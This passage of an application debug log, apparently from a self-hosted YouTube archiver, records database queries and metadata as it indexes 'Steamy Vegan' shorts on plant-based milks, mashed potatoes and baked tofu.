s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [591] 20:26:42.532 [debug] Current batch of media processed. Will check again in 1000ms 20:26:43.533 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Find out which plant based milks are the healthiest, lowest in calories, highest in protein and which ones taste the best by checking out our full review video. We taste tested 5 different plant based milks to find out which ones are the best.\n\nFull video: https://youtu.be/Z2mLUIoRAK0", "duration" => 25, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-18 The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts/The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts [Miwfu7Y2a8c].NA", "id" => "Miwfu7Y2a8c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Miwfu7Y2a8c", "playlist_index" => 203, "timestamp" => 1668733208, "title" => "The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts", "upload_date" => "20221118"} 20:26:43.534 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:43.535 [debug] QUERY OK source="sources" db=0.5ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:43.537 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-18 01:00:08Z], 1] 20:26:43.538 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Find out which plant based milks are the healthiest, lowest in calories, highest in protein and which ones taste the best by checking out our full review video. We taste tested 5 different plant based milks to find out which ones are the best.\n\nFull video: https://youtu.be/Z2mLUIoRAK0", "The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts", "3ecdd230-a101-4afe-aabb-c0d42189f72c", 1, [], 25, false, "Miwfu7Y2a8c", "https://www.youtube.com/shorts/Miwfu7Y2a8c", 203, "/downloads/downloads/alec/Steamy Vegan/2022-11-18 The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts/The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts [Miwfu7Y2a8c].NA", false, false, true, 1, ~U[2022-11-18 01:00:08Z], ~U[2026-03-22 03:26:43Z], ~U[2026-03-22 03:26:43Z], "Find out which plant based milks are the healthiest, lowest in calories, highest in protein and which ones taste the best by checking out our full review video. We taste tested 5 different plant based milks to find out which ones are the best.\n\nFull video: https://youtu.be/Z2mLUIoRAK0", "The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts", 1, 25, false, "Miwfu7Y2a8c", "https://www.youtube.com/shorts/Miwfu7Y2a8c", "/downloads/downloads/alec/Steamy Vegan/2022-11-18 The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts/The Plant Based Milk With the Lowest Calories 🥛❤️🏆 #shorts #youtubeshorts [Miwfu7Y2a8c].NA", true, ~U[2022-11-18 01:00:08Z]] 20:26:43.539 [debug] QUERY OK source="sources" db=0.6ms idle=447.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:43.539 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:43.540 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [592] 20:26:43.540 [debug] Current batch of media processed. Will check again in 1000ms 20:26:44.541 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Find out which plant based milks have the most protein. Check out our full non dairy milk awards show live on the channel or click here to check it out: https://youtu.be/Z2mLUIoRAK0", "duration" => 23, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-17 Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts/Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts [Ib0Uhn02EnU].NA", "id" => "Ib0Uhn02EnU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Ib0Uhn02EnU", "playlist_index" => 204, "timestamp" => 1668721307, "title" => "Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts", "upload_date" => "20221117"} 20:26:44.542 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:44.543 [debug] QUERY OK source="sources" db=0.5ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:44.546 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-17 21:41:47Z], 1] 20:26:44.547 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Find out which plant based milks have the most protein. Check out our full non dairy milk awards show live on the channel or click here to check it out: https://youtu.be/Z2mLUIoRAK0", "Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts", "050b0cf9-1149-4de5-ba38-d6751b1a2f54", 1, [], 23, false, "Ib0Uhn02EnU", "https://www.youtube.com/shorts/Ib0Uhn02EnU", 204, "/downloads/downloads/alec/Steamy Vegan/2022-11-17 Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts/Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts [Ib0Uhn02EnU].NA", false, false, true, 1, ~U[2022-11-17 21:41:47Z], ~U[2026-03-22 03:26:44Z], ~U[2026-03-22 03:26:44Z], "Find out which plant based milks have the most protein. Check out our full non dairy milk awards show live on the channel or click here to check it out: https://youtu.be/Z2mLUIoRAK0", "Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts", 1, 23, false, "Ib0Uhn02EnU", "https://www.youtube.com/shorts/Ib0Uhn02EnU", "/downloads/downloads/alec/Steamy Vegan/2022-11-17 Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts/Which plant based milk has the highest protein? 💪 #shorts #youtubeshorts [Ib0Uhn02EnU].NA", true, ~U[2022-11-17 21:41:47Z]] 20:26:44.548 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=454.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:44.549 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:44.550 [debug] QUERY OK source="media_items" db=0.4ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [593] 20:26:44.550 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SUPER SIMPLE SIDES EP. 1 🥣 Dilly Garlic 🧄 Mashed Potatoes! 🥔 \n\nFULL HOLIDAY SIDES RECIPE VIDEO UP ON MY YOUTUBE CHANNEL ➡️\nhttps://youtu.be/ylCq0ZfWU-8\n\nIt’s basically a sin to go through the holidays 🎄 without mashed potatoes! So why not jazz ‘em with some DILL & GARLIC?! 🤤 \n\nDILLY GARLIC MASHED POTATOES 🌿🧄🥔\n12 medium yellow potatoes\n4 cloves garlic, minced\n1/4 cup fresh dill, minced\n1/2 cup vegan cream cheese\n2 tbsp vegan butter (can sub out for more cream cheese for lower cal)\nsplash of non-dairy milk\nsalt & pepper\n1/3 cup chopped green onion, optional garnish\nChop and boil potatoes (no need to peel) for 30 minutes until fork tender. Drain and partially mash. Add the vegan butter and cream cheese splash of non-dairy milk and continue mashing until almost smooth. Fold in the dill, garlic, salt and pepper and continue mashing until at your desired texture. Garnish with green onion and enjoy!\n\n\nFollow @steamyvegankitchen for tons of plant based recipes throughout the holiday season! 😍\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #mashedpotatoes #potatolover #starchsolution #starch #potatorecipes #garliclovers #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie", "duration" => 58, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-17 SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔/SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔 [y6jH5V9ISys].NA", "id" => "y6jH5V9ISys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/y6jH5V9ISys", "playlist_index" => 205, "timestamp" => 1668713625, "title" => "SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔", "upload_date" => "20221117"} 20:26:44.551 [debug] QUERY OK source="sources" db=0.3ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:44.552 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:44.555 [debug] QUERY OK source="media_items" db=2.3ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-17 19:33:45Z], 1] 20:26:44.557 [debug] QUERY OK source="media_items" db=1.3ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES EP. 1 🥣 Dilly Garlic 🧄 Mashed Potatoes! 🥔 \n\nFULL HOLIDAY SIDES RECIPE VIDEO UP ON MY YOUTUBE CHANNEL ➡️\nhttps://youtu.be/ylCq0ZfWU-8\n\nIt’s basically a sin to go through the holidays 🎄 without mashed potatoes! So why not jazz ‘em with some DILL & GARLIC?! 🤤 \n\nDILLY GARLIC MASHED POTATOES 🌿🧄🥔\n12 medium yellow potatoes\n4 cloves garlic, minced\n1/4 cup fresh dill, minced\n1/2 cup vegan cream cheese\n2 tbsp vegan butter (can sub out for more cream cheese for lower cal)\nsplash of non-dairy milk\nsalt & pepper\n1/3 cup chopped green onion, optional garnish\nChop and boil potatoes (no need to peel) for 30 minutes until fork tender. Drain and partially mash. Add the vegan butter and cream cheese splash of non-dairy milk and continue mashing until almost smooth. Fold in the dill, garlic, salt and pepper and continue mashing until at your desired texture. Garnish with green onion and enjoy!\n\n\nFollow @steamyvegankitchen for tons of plant based recipes throughout the holiday season! 😍\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #mashedpotatoes #potatolover #starchsolution #starch #potatorecipes #garliclovers #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie", "SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔", "086da448-141a-4d47-b966-e8816b1f33c8", 1, [], 58, false, "y6jH5V9ISys", "https://www.youtube.com/shorts/y6jH5V9ISys", 205, "/downloads/downloads/alec/Steamy Vegan/2022-11-17 SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔/SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔 [y6jH5V9ISys].NA", false, false, true, 2, ~U[2022-11-17 19:33:45Z], ~U[2026-03-22 03:26:44Z], ~U[2026-03-22 03:26:44Z], "SUPER SIMPLE SIDES EP. 1 🥣 Dilly Garlic 🧄 Mashed Potatoes! 🥔 \n\nFULL HOLIDAY SIDES RECIPE VIDEO UP ON MY YOUTUBE CHANNEL ➡️\nhttps://youtu.be/ylCq0ZfWU-8\n\nIt’s basically a sin to go through the holidays 🎄 without mashed potatoes! So why not jazz ‘em with some DILL & GARLIC?! 🤤 \n\nDILLY GARLIC MASHED POTATOES 🌿🧄🥔\n12 medium yellow potatoes\n4 cloves garlic, minced\n1/4 cup fresh dill, minced\n1/2 cup vegan cream cheese\n2 tbsp vegan butter (can sub out for more cream cheese for lower cal)\nsplash of non-dairy milk\nsalt & pepper\n1/3 cup chopped green onion, optional garnish\nChop and boil potatoes (no need to peel) for 30 minutes until fork tender. Drain and partially mash. Add the vegan butter and cream cheese splash of non-dairy milk and continue mashing until almost smooth. Fold in the dill, garlic, salt and pepper and continue mashing until at your desired texture. Garnish with green onion and enjoy!\n\n\nFollow @steamyvegankitchen for tons of plant based recipes throughout the holiday season! 😍\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #mashedpotatoes #potatolover #starchsolution #starch #potatorecipes #garliclovers #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie", "SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔", 1, 58, false, "y6jH5V9ISys", "https://www.youtube.com/shorts/y6jH5V9ISys", "/downloads/downloads/alec/Steamy Vegan/2022-11-17 SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔/SUPER SIMPLE SIDES Ep. 1 - DILLY GARLIC 🧄 MASHED POTATOES 🥔 [y6jH5V9ISys].NA", true, ~U[2022-11-17 19:33:45Z]] 20:26:44.558 [debug] QUERY OK source="sources" db=0.4ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:44.559 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:44.559 [debug] QUERY OK source="media_items" db=0.4ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [594] 20:26:44.559 [debug] Current batch of media processed. Will check again in 1000ms 20:26:45.539 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:45.560 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "CRISPY TOFU ALERT 🚨 Never make bland, tasteless tofu ever again! All you need is 3 simple ingredients to transform this incredibly healthy plant-based protein into something you’ll want to include in tons of your favourite meals. 😊\n\nSee the full video on MY 2 FAV WAYS TO MAKE TOFU! ➡️ https://youtu.be/F7YBPAsRbZ0\n\nCRISPY BAKED TOFU (3 INGREDIENTS)\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own! Love dipping them in plum sauce!\n\nFollow @steamyvegankitchen for more delish plant-based recipes! 🌱 \n\n#steamyvegankitchen #steamyvegan #vegan #instavegan #veganshare #veganfoodshare #veganfood #veganrecipes #veganlife #veganhacks #plantbased #plantbaseddiet #plantbasednutrition #plantbasedrecipes #plantbasedfood #plantbasedcooking #vegancuisine #glutenfree #glutenfreefood #glutenfreedairyfree #glutenfreevegan #glutenfreelife #veganglutenfree #tofurecipes #crispytofu #tofu\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-15 CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts/CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts [Y6oNeFhgJUk].NA", "id" => "Y6oNeFhgJUk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Y6oNeFhgJUk", "playlist_index" => 206, "timestamp" => 1668534811, "title" => "CRISPY BAKED TOFU! Only 3 ingredients 😍 #shorts #youtubeshorts", "upload_date" => "20221115"} 20:26:45.561 [debug] QUERY OK source="sources" db=0.6ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:45.562 [debug] QUERY OK source="sources" db=0.7ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM 